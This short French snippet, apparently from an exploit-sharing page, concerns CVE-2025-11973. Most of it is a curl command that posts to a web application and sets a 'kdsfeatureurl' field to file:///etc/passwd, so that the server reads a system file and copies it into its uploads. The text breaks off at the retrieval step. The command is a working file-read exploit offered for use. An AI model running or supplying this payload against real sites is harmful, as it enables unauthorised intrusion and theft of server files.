CVE-2025-11973

Déclencheur : Lire /etc/passwd via file:// et exfiltrer vers les uploads root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" Récupérer le fichier...